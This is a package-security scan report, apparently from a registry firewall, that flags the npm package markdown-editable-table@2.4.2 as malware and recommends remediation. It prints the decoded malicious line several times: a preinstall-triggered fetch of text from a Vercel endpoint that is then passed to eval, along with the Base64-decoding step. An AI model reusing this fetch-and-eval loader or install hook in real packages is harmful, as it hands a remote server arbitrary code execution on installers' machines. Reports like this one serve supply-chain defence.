registry / Remote code execution / markdown-editable-table

markdown-editable-table

Generate a markdown (GFM) table

This report shows the evidence for markdown-editable-table@2.4.2. 3 of 4 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is concrete install-time remote code execution, obscured to avoid ordinary review. The benign table-formatting entrypoint does not justify the lifecycle behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation

Impact

Remote server controls arbitrary JavaScript executed with the installing user's permissions.

Mechanism

Base64-decoded fetch-and-eval remote payload loader

Attack narrative

`package.json` invokes `node index.d.js` as `preinstall`. That file dynamically imports Node module support, Base64-decodes a hidden async expression, and evaluates it. The expression fetches text from a Vercel endpoint and evaluates the returned text, giving the endpoint arbitrary code execution during dependency installation.

AI rationale

This is concrete install-time remote code execution, obscured to avoid ordinary review. The benign table-formatting entrypoint does not justify the lifecycle behavior.

Evidence

package.jsonindex.d.jsindex.js

Network endpoints1

everydaynodechecer-39143n.vercel.app/api/key?mem=root1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` registers `preinstall: node index.d.js`.
`index.d.js` decodes an obfuscated Base64 payload at install time.
Decoded payload fetches a remote `/api/key?mem=root1` response.
Decoded payload passes the fetched response to `eval`.
The lifecycle path runs without an explicit user command beyond installation.

Evidence against

`index.js` is a local markdown-table formatter with no network or process primitives.
No package source evidence shows the advertised formatter needs remote code execution.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsObfuscated

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 10.5 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.d.js#virtual:base64:round1View file

1(async()=>eval(await fetch('https://everydaynodechecer-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())))();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.d.js#virtual:base64:round1View on unpkg · L1

1(async()=>eval(await fetch('https://everydaynodechecer-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())))();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.d.js#virtual:base64:round1View on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> index.d.js L1: (async()=>eval(await fetch('https://everydaynodechecer-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())))();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.d.js#virtual:base64:round1View on unpkg · L1

index.d.jsView file

4L5: const text = Buffer.from(b4, "base64").toString("utf-8"); L6: let nms = [101, 118, 97, 108]

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.d.jsView on unpkg · L4

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.d.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.d.js#virtual:base64:round1View file

1(async()=>eval(await fetch('https://everydaynodechecer-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())))();

Critical

Download Execute

Source downloads or fetches remote code and executes it.

index.d.js#virtual:base64:round1View on unpkg · L1

1(async()=>eval(await fetch('https://everydaynodechecer-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())))();

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.d.js#virtual:base64:round1

Findings

3 Critical2 High1 Medium3 Low

CriticalDownload Executeindex.d.js#virtual:base64:round1

CriticalRemote Asset Decode Executeindex.d.js#virtual:base64:round1

CriticalTrigger Reachable Dangerous Capabilityindex.d.js#virtual:base64:round1

HighInstall Time Lifecycle Scriptspackage.json

HighBase64 Obscured Urlindex.d.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowObfuscated

LowHigh Entropy Strings

Affected versions and remediation

This report applies to markdown-editable-table@2.4.2.

The versions list below shows the verdict for each recorded version.

Avoid installing markdown-editable-table@2.4.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-13 19:01:57.512Z (UTC).

Source advisory published: 2026-07-13 14:20:16.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

0.0.1-securitylatestClean—AllowPublishedJul 13, 2026, 6:25 PM 2.4.4MaliciousMalwareBlockPublishedJul 13, 2026, 12:30 PM 2.4.3MaliciousMalwareBlockPublishedJul 13, 2026, 12:26 PM 2.4.2shownMaliciousRemote Code ExecutionBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages